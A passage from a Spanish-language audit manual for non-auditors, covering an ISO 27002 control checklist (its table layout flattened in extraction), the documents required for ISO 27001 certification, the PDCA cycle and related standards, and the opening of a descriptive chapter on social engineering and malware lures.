Separación de los entornos de desarrollo, pruebas y 4 explotación

10

2

GESTIÓN DE LOS NIVELES DE SERVICIOS DE TERCERAS PARTES

10

2

1 Niveles de servicio

X

10

2

Monitorizar y revisar los 2 niveles de servicio

X

10

2

Gestión de cambios en los 3 niveles de servicio

X

10

3

PLANIFICACIÓN Y ACEPTACIÓN DE SISTEMAS

10

3

1 Gestión de capacidades

X

10

3

2 Aceptación de sistemas

X

10

10

4

X

TEC LOG N

X

P

X

P

X

P

☺

Comentarios

Ver informes de niveles de servicios

PROTECCIÓN CONTRA CÓDIGO MALICIOSO Y CÓDIGO MÓVIL

X

X

R

X

X

P

X

X

R

X

P

10

4

Controles contra software 1 malicioso

10

4

2 Controles contra código móvil

10

5

COPIAS DE RESPALDO

10

5

10

6

10

6

1 Controles de red

X

10

6

Seguridad de los servicios de 2 red

X

Recuperación de la 1 información

Muestreo sobre PCs, Servidores, Elementos de Red

Intentar una recuperación

GESTIÓN DE LA SEGURIDAD DE LA RED

Niveles de servicios, filtros y componentes

Página 148 de 430

Manual de Auditoria para no Auditores N N N 1 2 3

TITULO

ORG

TEC LOG N

☺

Comentarios de seguridad ( HW y/o SW)

10

7

GESTIÓN DE SOPORTES

10

7

1 Gestión de soportes extraíbles

X

10

7

2 Eliminación de soportes

X

10

7

Procedimiento de manejo de 3 soportes

X X

10

7

Seguridad de la documentación de los 4 sistemas

10

8

INTERCAMBIO DE INFORMACIÓN

10

8

Políticas y procedimientos de 1 intercambio de información

X

10

8

2 Acuerdos de intercambio

X

10

8

3 Soportes físicos en transito

X

X

P

X

P

X

P

Cifrado y protección física

X

P

Comprobar si algunos mensajes son conformes con las políticas/norma

X

X

P

X

X

R

X

X

P

X 10

8

4 Correo electrónico

10

8

Sistemas de información de 5 productividad

10

9

SERVICIOS DE COMERCIO ELECTRONICO

10

9

1 Comercio electrónico

10

9

2 Transacciones interactivas

10

9

Información con acceso 3 publico

☺

Ver el armario o el sistema de gestión documental

X

Comprobar: integridad, autorización de acceso

Página 149 de 430

Manual de Auditoria para no Auditores N N N 1 2 3 10 10

TITULO

ORG

TEC LOG N

X

X

P

1 Trazabilidad

10 10

Monitorización del uso de los 2 sistemas

X

X

P

10 10

3 Protección de la trazabilidad

X

X

P

10 10

Trazabilidad de los 4 administradores y operadores

X

X

P

10 10

5 Registros de fallos

X

10 10

6 Sincronización de relojes

11

CONTROL DE ACCESO

11

1

REQUISITO EMPRESARIAL PARA EL CONTROL ACCESO

11

1

1 Política de control de acceso

11

2

GESTIÓN DEL ACCESO DE LOS USUARIOS

2

Comentarios

MONITORIZACIÓN

10 10

11

☺

Ver un Log informático o impreso (fechas y horas de los sucesos)

Identificar y ver el registro

X

P

Ver fechas y horas de un mismo suceso

X

X 1 Registro de usuarios

Seleccionar un muestreo de empleados/contratistas con sus autorizaciones de accesos a todos los sistemas

X

Elegir un empleado que se ha cambiado recientemente para ver los cambios

11

2

2 Gestión de privilegios

11

2

Gestión de las contraseñas de 3 los usuarios

X

P

X

Página 150 de 430

Manual de Auditoria para no Auditores N N N 1 2 3

TITULO

11

2

Revisión de los derechos de 4 accesos

11

3

RESPONSABILIDAD DE LOS USUARIOS

ORG

TEC LOG N

☺

Comentarios

X

3

1 Uso de las contraseñas

Verificar las políticas/guías vigentes con algunos usuarios

3

Equipo de usuario 2 desatendido

Verificar las políticas/guías vigentes con algunos usuarios

11

3

Política de puesto de trabajo despejado y bloqueo de 3 pantalla

11

4

CONTROL DE ACCESO EN LA RED

11

4

Política de uso de los 1 servicios de red

X

11

4

Autenticación de usuarios 2 para conexiones externas

X

11

4

Identificación de equipos en 3 la red

X X

4

Protección de los puertos de diagnóstico remoto y 4 configuración

11

11

11

X X

☺

X

X

R

R Diagrama de red: WAN,

X

X

P

11

4

5 Segregaciones de la red

11

4

6 Control de conexión a la red

X

X

R

11

4

Control de encaminamiento 7 en la red

X

X

R

LAN, VLAN, VPN, Elementos de red, segmentos de red (ej. DMZ)

Cortafuegos,

Página 151 de 430

Manual de Auditoria para no Auditores N N N 1 2 3

TITULO

ORG

TEC LOG N

☺

Comentarios Routers/Switches: Roles, ACL’s, Política de control de accesos

11

5

CONTROL DE ACCESO AL SISTEMA OPERATIVO

11

5

1 Procedimiento seguro de login

X

X

R

11

5

Identificación y autenticación 2 de usuario

X

X

R

11

5

Sistema de gestión de 3 contraseñas

X

X

R

11

5

Uso de las utilidades de los 4 sistemas operativos

X

X

R

11

5

5 Desconexión automática

X

X

P

☺

11

5

Limitación de las ventanas de 6 conexión

X

X

P

☺

11

6

CONTROL DE ACCESO A APLICACIONES E INFORMACIÓN

11

6

Restricción de acceso a la 1 información

X

X

R

11

6

Aislamiento de sistemas 2 sensibles

X

X

P

11

7

11

7

Informática móvil y 1 telecomunicaciones

X

X

P

11

7

2 Teletrabajo

X

X

P

12

INFORMÁTICA MÓVIL Y TELETRABAJO

ADQUISICIÓN, DESARROLLO Y MANTENIMIENTO DE SISTEMAS DE INFORMACIÓN

Página 152 de 430

Manual de Auditoria para no Auditores N N N 1 2 3

12

1

TITULO

ORG

TEC LOG N

Identificar si existen requerimientos escritos, por parte técnica o por parte de los usuarios

X 12

1

12

2

PROCESO CORRECTO 2 EN LAS APLICACIONES

Validación de los datos de 1 entrada

Guías de desarrollo y SW de pruebas: comprobar en un muestreo de aplicaciones que los requisitos (de los usuarios) se cumplen Guías de desarrollo y SW de pruebas: comprobar en un muestreo de aplicaciones que los requisitos (de los usuarios) se cumplen

X 2

Comentarios

REQUISITOS DE SEGURIDAD EN SISTEMAS DE INFORMACIÓN

Análisis y especificaciones de 1 requisitos de seguridad

12

☺

X 12

2

2 Control del proceso interno

12

2

3 Integridad de los mensajes

12

2

Validación de los datos de 4 salida

12

3

CONTROLES CRIPTOGRÁFICOS

12

3

Política de uso de los 1 controles criptográficos

X

R

X

P

X

P

X

X

P

Guías de desarrollo y SW de pruebas: comprobar en un muestreo de aplicaciones que los requisitos (de los usuarios) se cumplen

X

X

P

Comprobar si se sigue las políticas a nivel Página 153 de 430

Manual de Auditoria para no Auditores N N N 1 2 3

TITULO

ORG

TEC LOG N

☺

Comentarios usuarios, sistemas y desarrollo

12

3

2 Gestión de claves

X

X

R

SEGURIDAD DE LOS FICHEROS DE LOS SISTEMAS

12

4

12

4

Control del software en 1 explotación

X

X

P

12

4

Protección de los datos de 2 prueba

X

X

P

12

4

Control de acceso a las 3 fuentes

X

X

R

X

P

Ver si hay servicios desconocidos activados

R

Ver si, y como, se implantan las mejoras o correcciones de SW (Parches)

12

5

SEGURIDAD EN LOS PROCESOS DE DESARROLLO Y SOPORTE

12

5

Procedimiento de control de 1 cambios

X X

12

5

Revisión técnica de las aplicaciones después de cambios en los sistemas 2 operativos

12

5

Restricción en los cambios a 3 los paquetes de software

X

12

5

4 Fuga de información

X

12

5

Desarrollo externalizado de 5 software

X

6

GESTIÓN DE VULNERABILIDADES TÉCNICAS

12

12

6

Control de vulnerabilidades 1 técnicas

X

X

☺

Página 154 de 430

Manual de Auditoria para no Auditores N N N 1 2 3

TITULO

ORG

13

GESTIÓN DE INCIDENCIAS DE SEGURIDAD DE LA INFORMACIÓN

13

1

REPORTE DE INCIDENCIAS Y DEBILIDADES

13

1

Reporte de eventos de 1 seguridad de información

X

13

1

Reporte de debilidades de 2 seguridad

X

2

13

2

Responsabilidades y 1 procedimientos

X

13

2

Aprendiendo de las 2 incidencias

X

13

2

3 Recogida de evidencias

X

14

GESTIÓN DE LA CONTINUIDAD DE NEGOCIO

14

1

ASPECTOS DE SEGURIDAD DE LA INFORMACIÓN EN LA CONTINUIDAD DE NEGOCIO

X

14

1

Incluir la seguridad de la información en el proceso de gestión de la continuidad de 1 negocio

14

1

Continuidad de negocio y 2 análisis de riesgos

X

1

☺

Comentarios

GESTIÓN DE INCIDENCIAS DE SEGURIDAD Y MEJORA

13

14

TEC LOG N

Desarrollo e implantación de 3 planes de continuidad

X

X

P

☺

Recuperación de Desastre: Comprobar que el sitio alternativo

Página 155 de 430

Manual de Auditoria para no Auditores N N N 1 2 3

TITULO

ORG

TEC LOG N

incluyendo la seguridad de la información

14

14

Marco de planificación de la 4 continuidad de negocio

X X

1

Prueba, mantenimiento y revisión de los planes de 5 continuidad de negocio CONFORMIDAD CONFORMIDAD CON REQUISITOS LEGALES

15

1

15

1

Identificación de la 1 legislación aplicable

X

15

1

Derechos de propiedad 2 intelectual

X

15

1

Salvaguarda de los registros 3 de la Organización

X X

X

O

15

1

Protección de datos de 4 carácter personal y privacidad

15

1

Prevención del mal uso de los 5 recursos informáticos

X

X

P

15

1

Regulación de controles 6 criptográficos

X

Comprobar siempre, si aplica, las obligaciones con la LOPD

CONFORMIDAD CON LAS DIRECTRICES DE SEGURIDAD Y REVISIONES TÉCNICAS

15

2

15

2

Conformidad con las políticas 1 de seguridad y estándares

X X

2

Comprobación de la 2 conformidad técnica

15

Comentarios cumple con la distancia y condiciones según las amenazas identificadas y los requerimientos regulativos.

1

15

☺

X

Comprobar el proceso y el seguimiento de las revisiones y auditorias

Página 156 de 430

Manual de Auditoria para no Auditores N N N 1 2 3

TITULO

ORG

15

3

CONSIDERACIONES SOBRE EL AUDIT DE SISTEMAS DE INFORMACIÓN

15

3

Controles de audit de los 1 sistemas de información

X X

3

Protección de las herramientas de audit de sistemas de 2 información

15

TEC LOG N

X

☺

Comentarios

P

También es muy importante, reflejar todas las fuentes de datos consultadas y si es posible obtener copias de las pantallas, utilizando un capturador de pantallas y añadiendo un hash y un sello de tiempo, opcional esto último, para reflejar cuando se obtuvieron de los datos reflejados en los informes de Auditoria inicial, intermedios y final que demuestran el progreso y la aplicación de las acciones correctores y una nueva evaluación que nos indique que grado de securización alcanzado tras las aplicación de actualizaciones, revisión del código y mejora del mismo. Nunca hay que olvidar que cada cambio, cada actualización, cada modificación de un código fuente, puede ocasionar variaciones positivas o negativas, en el grado de securización vigente respecto a la versión anterior a su aplicación. Esta es una pequeña parte de toda la documentación que se genera durante y a lo largo de la auditoria de la norma y de las auditorias especializadas que apoyan las mismas. Es muy importante organizar de forma correcta la documentación, de la gestión del proyecto de Certificación y sus múltiples auditorias especializadas, por tanto además de indicar como hemos señalados en todos capítulos anteriores, como debemos auditar cada uno de los dominios y sus respectivos controles ahora se añade un nuevo proyecto que reflejara todo el trabajo realizado y es el proyecto de la documentación al que también podemos aplicar una norma específica como es la ISO 30301 que sería junto con la aplicación de la ISO 21500 que es la norma relativa a la gestión de proyectos, es decir, es el equivalente a la metodología del PMI /PMP. En los proyectos de Certificación / Acreditación hay una serie de documentos que son obligatorios para lograr la certificación y es de lo que vamos hablar en este capítulo como complemento de la guía de trabajo de los auditores.

Página 157 de 430

Manual de Auditoria para no Auditores Todos los documentos que se van a mostrar en sucesivas páginas, son propiedad de Advisera©® y dentro de sus diversas academias hemos seleccionado, la academia relativa a la norma 27001 donde hay un paquete de plantillas para Word que pueden ser rellenadas por la propia organización, bien por los consultores de apoyo, lo importante no es sólo rellenar las plantillas..

Página 158 de 430

Manual de Auditoria para no Auditores

Alcance del SGSI Este documento es, habitualmente, bastante corto y se redacta al inicio de la implementación de ISO 27001. En general, se trata de un documento independiente, aunque puede ser unificado con una política de seguridad de la información. Políticas y objetivos de seguridad de la información La política de seguridad de la información generalmente es un documento breve y de alto nivel que detalla el principal objetivo del SGSI. Los objetivos para el SGSI, en general, se presentan como un documento independiente, pero también pueden ser unificados en la política de seguridad de la información. Contrariamente a la revisión 2005 de ISO 27001, ya no se necesitan ambas políticas (Política del SGSI y Política de seguridad de la información); solo hace falta una política de seguridad de la información. Metodología e informes de evaluación y tratamiento de riesgos La metodología de evaluación y tratamiento del riesgo es, habitualmente, un documento de 4 a 5 páginas y debe ser redactado antes que se realice la evaluación y el tratamiento de riesgos. El informe de evaluación y tratamiento de riesgos debe ser redactado una vez que se realizó la evaluación y el tratamiento de riesgos, y allí se resumen todos los resultados. Declaración de aplicabilidad La Declaración de aplicabilidad (o DdA) se redacta en base a los resultados del tratamiento del riesgo; es un documento clave dentro del SGSI porque describe no sólo qué controles del Anexo A son aplicables, sino también cómo se implementarán y su estado actual. También debería considerar a la Declaración

Página 159 de 430

Manual de Auditoria para no Auditores de aplicabilidad como un documento que describe el perfil de seguridad de su empresa. Plan de tratamiento del riesgo Este es, básicamente, un plan de acción sobre cómo implementar los diversos controles definidos por la DdA. Este documento se desarrolla en función de la Declaración de aplicabilidad y se utiliza y actualiza activamente a lo largo de toda la implementación del SGSI. A veces se puede fusionar con el Plan del proyecto. Funciones y responsabilidades de seguridad El mejor método es describir estas funciones y responsabilidades en todas las políticas y procedimientos de la forma más precisa posible. Evite expresiones como "debería hacerlo"; en cambio, utilice algo como "el jefe de seguridad realizará xyz todos los lunes a las xyz horas". Algunas empresas prefieren detallar las funciones y responsabilidades de seguridad en sus descripciones del trabajo; sin embargo, esto puede generar mucho papelerío. Las funciones y responsabilidades de seguridad para terceros se definen a través de contratos. Inventario de activos Si no contaba con un inventario de este tipo antes del proyecto ISO 27001, la mejor forma de hacerlo es directamente a partir del resultado de la evaluación de riesgos ya que allí, de todos modos, se tienen que identificar todos los activos y sus propietarios; entonces, simplemente puede copiar el resultado desde ese instrumento. Uso aceptable de los activos Habitualmente, este documento se confecciona bajo la forma de una política y puede cubrir un amplio rango de temas porque la norma no define muy bien este control. Probablemente, la mejor forma de encararlo es la siguiente: (1) déjelo para el final de la implementación de su SGSI y (2) todas las áreas y controles que no haya cubierto con otros documentos y que involucran a todos los empleados, inclúyalos en esta política. Política de control de acceso En este documento usted puede cubrir sólo la parte comercial de la aprobación de acceso a determinada información y sistemas, o también puede incluir el aspecto técnico del control de acceso. Además, puede optar por definir reglas para acceso lógico únicamente o también para acceso físico. Debería redactar este documento solamente después de finalizado su proceso de evaluación y tratamiento de riesgos. Procedimientos operativos para gestión de TI Puede crear este procedimiento como un único documento o como una serie de políticas y procedimientos; si se trata de una empresa pequeña, debería tener menor cantidad de documentos. Normalmente, aquí puede abarcar todas las áreas de las secciones A.12 y A.13: gestión de cambios, servicios de terceros, copias de seguridad, seguridad de red, códigos maliciosos, eliminación y destrucción, transferencia de información, supervisión del sistema, etc. Este documento se debería redactar solamente una vez que finalice su proceso de evaluación y tratamiento de riesgos. Página 160 de 430

Manual de Auditoria para no Auditores Principios de ingeniería para sistema seguro Este es un nuevo control en ISO 27001:2013 y requiere que se documenten los principios de ingeniería de seguridad bajo la forma de un procedimiento o norma y que se defina cómo incorporar técnicas de seguridad en todas las capas de arquitectura: negocio, datos, aplicaciones y tecnología. Estos principios pueden incluir validación de datos de entrada, depuración, técnicas para autenticación, controles de sesión segura, etc. Política de seguridad para proveedores Este también es un control nuevo en ISO 27001:2013, y una política de este tipo puede abarcar un amplio rango de controles: cómo se realiza la selección de potenciales contratistas, cómo se ejecuta la evaluación de riesgos de un proveedor, qué cláusulas incluir en el contrato, cómo supervisar el cumplimiento de cláusulas contractuales de seguridad, cómo modificar el contrato, cómo cerrar el acceso una vez cancelado el contrato, etc. Procedimiento para gestión de incidentes Este es un procedimiento importante que define cómo se informan, clasifican y manejan las debilidades, eventos e incidentes de seguridad. Este procedimiento también define cómo aprender de los incidentes de seguridad de la información para que se puedan evitar en el futuro. Un procedimiento de esta clase también puede invocar al plan de continuidad del negocio si un incidente ha ocasionado una interrupción prolongada. Procedimientos de la continuidad del negocio Generalmente se trata de planes de continuidad del negocio, planes de respuesta ante incidentes, planes de recuperación para el sector comercial de la organización y planes de recuperación ante desastres (planes de recuperación para infraestructura de TI). Estos procedimientos se describen con mayor detalle en la norma ISO 22301, la principal norma internacional para continuidad del negocio. Requisitos legales, normativos y contractuales Este listado debe confeccionarse en la etapa más temprana posible del proyecto porque muchos documentos tendrán que ser desarrollados de acuerdo a estos datos. Este listado debe incluir no sólo las responsabilidades para el cumplimiento de determinados requerimientos, sino también los plazos. Registros de capacitación, habilidades, experiencia y calificaciones Es el departamento de recursos humanos el que generalmente se encarga de llevar estos registros. Si usted no tiene un sector de este tipo, cualquier persona que habitualmente se encargue de los registros de los empleados debería ser quien realice este trabajo. Básicamente, sería suficiente una carpeta en la que se encuentren todos los documentos. Resultados de supervisión y medición La forma más sencilla de describir cómo se miden los controles es a través de políticas y procedimientos que definan a cada control. En general, esta descripción puede ser realizada al final de cada documento, y cada descripción tiene que definir los tipos de ICD (indicadores clave de desempeño) que es necesario medir para cada control o grupo de controles. Una vez que se Página 161 de 430

Manual de Auditoria para no Auditores estableció este método de control, usted debe realizar la medición en función de dicho método. Es importante reportar los resultados de esta medición en forma regular a las personas que están a cargo su evaluación. Programa de auditoría interna El programa de auditoría interna no es más que un plan anual para realizar las auditorías; para las empresas más pequeñas, puede tratarse solamente de una auditoría, mientras que para las organizaciones más grandes puede ser una serie de, por ejemplo, 20 auditorías internas. Este programa debe definir quién realizará las auditorías, los métodos que se utilizarán, los criterios que se aplicarán, etc. Resultados de las auditorías internas Un auditor interno debe generar un informe de auditoría, que incluye los resultados de la auditoría (observaciones y medidas correctivas). Este informe debe ser confeccionado dentro de un par de días luego de realizada la auditoría interna. En algunos casos, el auditor interno tendrá que verificar si todas las medidas correctivas se aplicaron según lo esperado. Resultados de la revisión por parte de la dirección Estos registros se presentan, normalmente, bajo la forma de actas de reunión y deben incluir todo el material tratado durante la reunión de la dirección, como también todas las decisiones que se tomaron. Estas actas pueden ser en papel o en formato digital. Resultados de acciones correctivas Generalmente, estos son incluidos en los formularios para medidas correctivas (FMC). Sin embargo, es mucho mejor agregar estos registros en alguna aplicación que ya esté en uso en la organización; por ejemplo, la Mesa de ayuda, porque las medidas correctivas no son más que listas de actividades a realizar con responsabilidades, tareas y plazos bien definidos. Registros sobre actividades de los usuarios, excepciones y eventos de seguridad Habitualmente se llevan de dos formas: (1) en formato digital, generados en forma automática o semiautomática como registros de diversas TI y de otros sistemas, y (2) en papel, donde cada registro se hace manualmente. Procedimiento para control de documentos En general, este es un procedimiento independiente, de 2 o 3 páginas de extensión. Si usted ya implementó alguna otra norma como ISO 9001, ISO 14001, ISO 22301 o similar, puede utilizar el mismo procedimiento para todos estos sistemas de gestión. A veces es mejor redactar este procedimiento como el primer documento de un proyecto. Controles para gestión de registros La forma más sencilla es redactar el control de registros en cada política o procedimiento (u otro documento) que requiera la generación de un registro. Estos controles, normalmente son incluidos hacia el final de cada documento y

Página 162 de 430

Manual de Auditoria para no Auditores se confeccionan bajo el formato de una tabla que detalla dónde se archiva el registro, quién tiene acceso, cómo se protege, por cuánto tiempo se archiva, etc. Procedimiento para auditoría interna Habitualmente este es un procedimiento independiente que puede tener entre 2 y 3 páginas y que tiene que ser redactado antes que comience la auditoría interna. En cuanto al procedimiento para control de documentos, un procedimiento para auditoría interna puede ser utilizado para cualquier sistema de gestión. Procedimiento para medidas correctivas Este procedimiento no debería exceder las 2 o 3 páginas y puede ser confeccionado al final del proyecto de implementación, aunque es mejor hacerlo antes para que los empleados puedan familiarizarse con él. Además de la documentación es importante también conocer, cual es la secuencia, en que se deben realizar actividades necesarias, para lograr certificación, en la siguiente página mostramos cual es la secuencia, en que deberíamos cumplir todas las actividades realizando, los controles seleccionados derivados de haber localizado las amenazas y vulnerabilidades a la fecha de realización de proyecto.

Página 163 de 430

Manual de Auditoria para no Auditores

Página 164 de 430

Manual de Auditoria para no Auditores En este diagrama no está incluido el ciclo de vida PDCA que se muestra en la siguiente página para una mejor compresión del lector y como ampliación de todo lo que se ha expuesto en páginas anteriores.

Implantación de la Norma ISO27001 Ciclo PDCA Competo

Página 165 de 430

Manual de Auditoria para no Auditores

Ciclo PDCA

Página 166 de 430

Manual de Auditoria para no Auditores Este ciclo se repite cada vez que hay un cambio: organizativo, legal, tecnológico o de estrategia de negocio y todo ello en aras, de garantizar las infraestructuras físicas y lógicas, donde se almacena el activo más importante de cualquier organización que es toda la información que dispone e intercambia con su entorno de negocio. Volviendo a los activos debemos tener siempre presente que cualquier activo puede sufrir múltiples tipos de ataques dependiendo de su clase y naturaleza. Por eso la experiencia de muchas organizaciones, en muchos países y a través de un largo periodo de tiempo nos enseñado que la mejor forma para gestionar y organizar el activo información es hacerlo de la siguiente forma.

Todo ello debe tenerse presente para cumplir con el objetivo de señalado de preservar todos los atributos inherentes al conjunto de la información de cada empresa y su entorno de negocio conforme a: 

Implicación de la Dirección.



Alcance del SGSI y política de seguridad.



Inventario de todos los activos de información.



Metodología de evaluación del riesgo.



Identificación de amenazas, vulnerabilidades e impactos.



Análisis y evaluación de riesgos.



Selección de controles para el tratamiento de riesgos.



Aprobación por parte de la dirección del riesgo residual. Página 167 de 430

Manual de Auditoria para no Auditores 

Declaración de aplicabilidad.



Plan de tratamiento de riesgos.



Implementación de controles, documentación de políticas, procedimientos e instrucciones de trabajo.



Definición de un método de medida de la eficacia de los controles y puesta en marcha del mismo.



Formación y concienciación en lo relativo a seguridad de la información a todo el personal.



Monitorización constante y registro de todas las incidencias.



Realización de auditorías internas.



Evaluación de riesgos periódica, revisión del nivel de riesgo residual, del propio SGSI y de su alcance.

Página 168 de 430

Manual de Auditoria para no Auditores



Mejora continua del SGSI. Como hemos visto, la norma ISO 27001 / 27002, no existe sola, convive con otras normas, que ayudan a complementarla debido a que son normas especializadas, como por ejemplo la ISO 20000 que está relacionada con toda la gestión operativa del activo de la información. Aunque existe la norma, ISO y es certificable, en el mundo real se ha adoptado una metodología que recoge las mejores Página 169 de 430

Manual de Auditoria para no Auditores prácticas en esta área de gestión de la información, y se conoce como ITIL©® y cuyo ciclo de vida como podrá observar es muy parecida a la anterior. Estos dos ciclos vida son complementarios y de hecho coexisten en muchas organizaciones junto con otras normas de que vamos hablar a continuación debido a su complementariedad. En ambos ciclos de vida, hay un nexo común, que se comparte entre ambos, además de la información, y es la documentación cuyo fin es hacer independiente el conocimiento de las personas, ya que, en las organizaciones modernas, el valor no tangible pero más importante. es el conocimiento. Tanto la ISO 27001 como la ISO 20000 se relacionan, con otras normas veamos cuales, a través de una serie de imágenes, que nos ayudan a comprender mejor las conexiones existentes. Ver en el anexo relaciones entre la ISO 27001:2013 y la ISO 20000:2011. .

Página 170 de 430

Manual de Auditoria para no Auditores La serie 3030X, conjunto de normas que regula el nexo común, a muchas normas y estándares como: es la documentación. Por ello es importante tener una correcta implantación de la ISO27001, su certificación / acreditación, así como sus revisiones anuales y la renovación de dichas certificaciones, como también son importantes en igual medida las ISO 22301 y 22320, estas normas sirvan en gran medida de retroalimentación para la ISO 9001 y la ISO 14001 estas normas a su vez son soporte de la ISO 25100, ya que toda organización gestiona día a día proyectos, que tienen componentes económicos y componentes legales, ISO 19600 e ISO 37001, por tanto, todas las normas dentro del ámbito empresarial y de las TIC / SI están interconectadas y como prueba de ello, presentamos este esquema, que prueba que es importante la visión de conjunto, tanto como la especialización.

Por tanto, para comprender en profundidad la ISO-EIC 27001, no es suficiente conocer sus dominios, sus controles y sus métricas, lo primero y fundamental es comprender el complejo contexto, donde se desarrolla y evoluciona, ya que hay además de los elementos que hemos mencionado, un contexto que trasciende a las normas de gestión y de gestión técnica que es la evolución social a través de la globalización, su difusión a través de las redes sociales y la aplicación de experimentos, no controlados, como son los de ingeniería social, de la que se habla muy poco cuando se habla de estas normas y es un error importante que no debemos continuar cometiendo, como viene ocurriendo hasta hoy, teniendo presente que también hay otros ámbitos, que no son de gestión que también afectan a nuestra vida, de elementos cotidianos como son: los sistemas de Página 171 de 430

Manual de Auditoria para no Auditores alimentación eléctrica y climatización, regulación de todo tipo de tráfico, etc., que hasta ahora se habían mantenido, casi al margen de estas normas y que por el efecto del terrorismo, de ahora y en adelante tendrán el mismo peso específico que los sistemas tradicionales, pero qué resultan muchos más complejos de securizar puesto que sus componentes hardware y software, no fueron concebido para una sociedad hiperconectada que está en continua evolución, de ahí el incremento que supone realizar una correcta securización de la que hablaremos a manera de aproximación en este próximo capítulo.

Página 172 de 430

Manual de Auditoria para no Auditores

Capítulo 22 La Ingeniería Social, la zona muerta del Derecho actual. Siempre se representa a la Justicia como: una dama con una balanza y con los ojos vendados, esto aplicado a las nuevas tecnologías y en una sociedad hiperconectada, es casi un fiel reflejo de la situación diaria donde el Derecho naufraga y se dan dos posibles enfoques que son los siguientes. El enfoque de la Sociedad cuyo Derecho, deriva del Derecho Romano y la Sociedad cuyo Derecho, deriva del Sajón. Mientras el Derecho cuyo origen es romano se pliega a los intereses de las oligarquías, que en su mayoría son digitalmente analfabetas, el Derecho cuyo origen es sajón, asume la necesidad de una evolución acorde con la evolución social, el problema es que la velocidad de evolución de la Tecnología y la del Derecho son inversamente proporcionales. Además no olvidemos que siempre el ser humano tiende, hacer lo contrario de lo que se le dice que haga, sobre ingeniería social hay muy buenos libros y por supuesto que los citare, pero a estas altura de esta guía me imagino que el lector espera, que como hemos venido haciendo le presente un resumen con lo mejor de todas las presentaciones que circulan por internet a cerca de este tema, que es la gran amenaza a la que a diario se enfrentan todas las áreas de seguridad de informática y telecomunicaciones y de la información, del mundo entero, así antes de introducirnos en esa recopilación quiero hacer una pequeña incursión en un tipo de auditorías de las que intencionalmente he dejado al final porqué están íntimamente relacionadas con la ingeniería social y que son la Auditorias Web. Aunque esto mejor lo dejo para el final de este interesante capítulo dado que hay mucho material que presentarle y sobre el que me gustaría que reflexione para comprender que en realidad este capítulo y los anexos deberían ser el principio y no el final. Reflexione sobre este pensamiento. “El ser humano suele pecar de vanidoso, lo que con frecuencia le impide ver lo sencillo que puede resultar que lo engañen. Este sentimiento de omnipotencia oculta lo obvio: sabe algo que, por algún motivo, puede ser útil para alguien más” La Ingeniería Social puede definirse como una acción o conducta social destinada a conseguir información de las personas cercanas a un sistema. Es el arte de conseguir de un tercero aquellos datos de interés para el atacante por medio de habilidades sociales. Estas prácticas están relacionadas con la comunicación entre seres humanos. Entonces, a raíz de variados tipos de engaños, tretas y artimañas se apunta a que el usuario comprometa al sistema y revele información valiosa a través de Página 173 de 430

Manual de Auditoria para no Auditores acciones que van desde un clic hasta atender un llamado telefónico y que pueden derivar en la pérdida de información confidencial –personal o de la empresa para la que el usuario trabaja- o, peor aún, en ponerla en manos de personas maliciosas que buscan un rédito económico En palabras de Kevin Mitnick, uno de los personajes más famosos del mundo por delitos utilizando la Ingeniería Social como principal arma: "Usted puede tener la mejor tecnología, firewalls, sistemas de detección de ataques, dispositivos biométricos, etc. Lo único que se necesita es llamar a un empleado desprevenido e ingresar sin más. Tienen todo en sus manos". Así entonces, la Ingeniería Social, se centra en lograr la confianza de las personas para luego engañarlas y manipularlas para el beneficio propio de quien la implementa. La persuasión es una habilidad clave, ya que el secreto no está en preguntar sino en la forma de realizar la pregunta. No hay tecnología capaz de proteger contra la Ingeniería Social, como tampoco hay usuarios ni expertos estén a salvo de esta forma de ataque. La Ingeniería Social no pasa de moda, se perfecciona y sólo tiene la imaginación como límite.

La Ingeniería Social aplicada al malware La Ingeniería Social es ampliamente utilizada por creadores de malware y delincuentes informáticos debido al alto nivel de eficacia logrado engañando al usuario. 1.- Noticias sobre catástrofes naturales. La lluvia de correos sobre las tormentas en Europa del 2007 confirma la efectividad de la Ingeniería Social: la ingenuidad y la morbosidad humana fueron utilizadas como vehículos para la propagación de una de las principales epidemias de los últimos años. Esas tormentas fueron el inicio de una familia de malware conocida como Nuwar (o Gusano de la Tormenta), que utilizó cientos de asuntos y mensajes distintos durante dos años para formar una gran Botnet con millones de usuarios infectados. Incidentes de este tipo, junto con acontecimientos de relevancia para una sociedad en particular, o para el mundo en general, son utilizados constantemente por los creadores de malware con varios fines. En el pasado se han encontrado gusanos de correo electrónico que eran enviados como adjuntos de mensajes que pretendían contener fotos o videos de catástrofes naturales (el Tsunami del 2004, Katrina en el 2005), atentados terroristas (Las Torres Gemelas en el 2001, Atocha en Madrid en el 2004, etc.) y guerras (Invasión de Iraq en el 2003, etc.), la ciberguerra entre Rusia y Estonia en 2007 o contra Georgia en 2008, noticias falsas creadas para estos fines en 2009, etc.

Página 174 de 430

Manual de Auditoria para no Auditores Muchas personas sienten curiosidad por las imágenes o videos de situaciones como las anteriores y, por ello, son ampliamente utilizados como recursos para engañar a los usuarios y llevarlos a infectarse con distintos tipos de malware. Esto no es todo. A lo largo del tiempo, fraudes informáticos de todo tipo se han valido de la buena voluntad de los usuarios para llevar efectivizar estafas de diversa índole. En cada una de las situaciones antes descriptas, siempre ha habido ejemplos de engaños por correo electrónico u otro medio, en los que se busca lograr que una persona, con interés en donar dinero para ayudar a los afectados, termine depositándolo en la cuenta del inescrupuloso responsable del fraude. 2. Famosos Los programadores de malware también se valen de personajes famosos y políticos para lograr que sus ceraciones se propaguen engañando a los usuarios desprevenidos o demasiado curiosos. A lo largo de la historia del malware, existen casos en los que se menciona a cantantes (Michael Jackson, Britney Spears, etc.), actrices y/o actores (Jennifer López o Angelina Jolie, por ejemplo), deportistas (Anna Kournikova) y personalidades mundialmente reconocidas (Bill Gates, Osama Bin Laden, Saddam Hussein, etc.); entre muchos otros. Muchos de estos códigos maliciosos no hacen más que lograr repercusión en la prensa, como los recordados casos en que se hacía mención a la fallecida Lady Di o a Britney Spears o el aún mencionado Kamasutra (que en realidad es el gusano VB.NEI, Nyxem o Blackmal; según la casa antivirus) cuya mayor propagación fue a través de las noticias, en lugar de utilizar los equipos informáticos de los usuarios. Existen otros casos de gusanos de correo electrónico que, apoyándose en mensajes atractivos al usuario y la mención de un famoso, logran una gran reproducción a través de la red (correo, mensajería, P2P, etc.). Actualmente, las redes sociales vienen cobrada relevancia al reproducir este tipo de amenazas con supuestas imágenes o videos de personalidades famosas, que en realidad terminan descargando todo tipo de malware.

Página 175 de 430

Manual de Auditoria para no Auditores

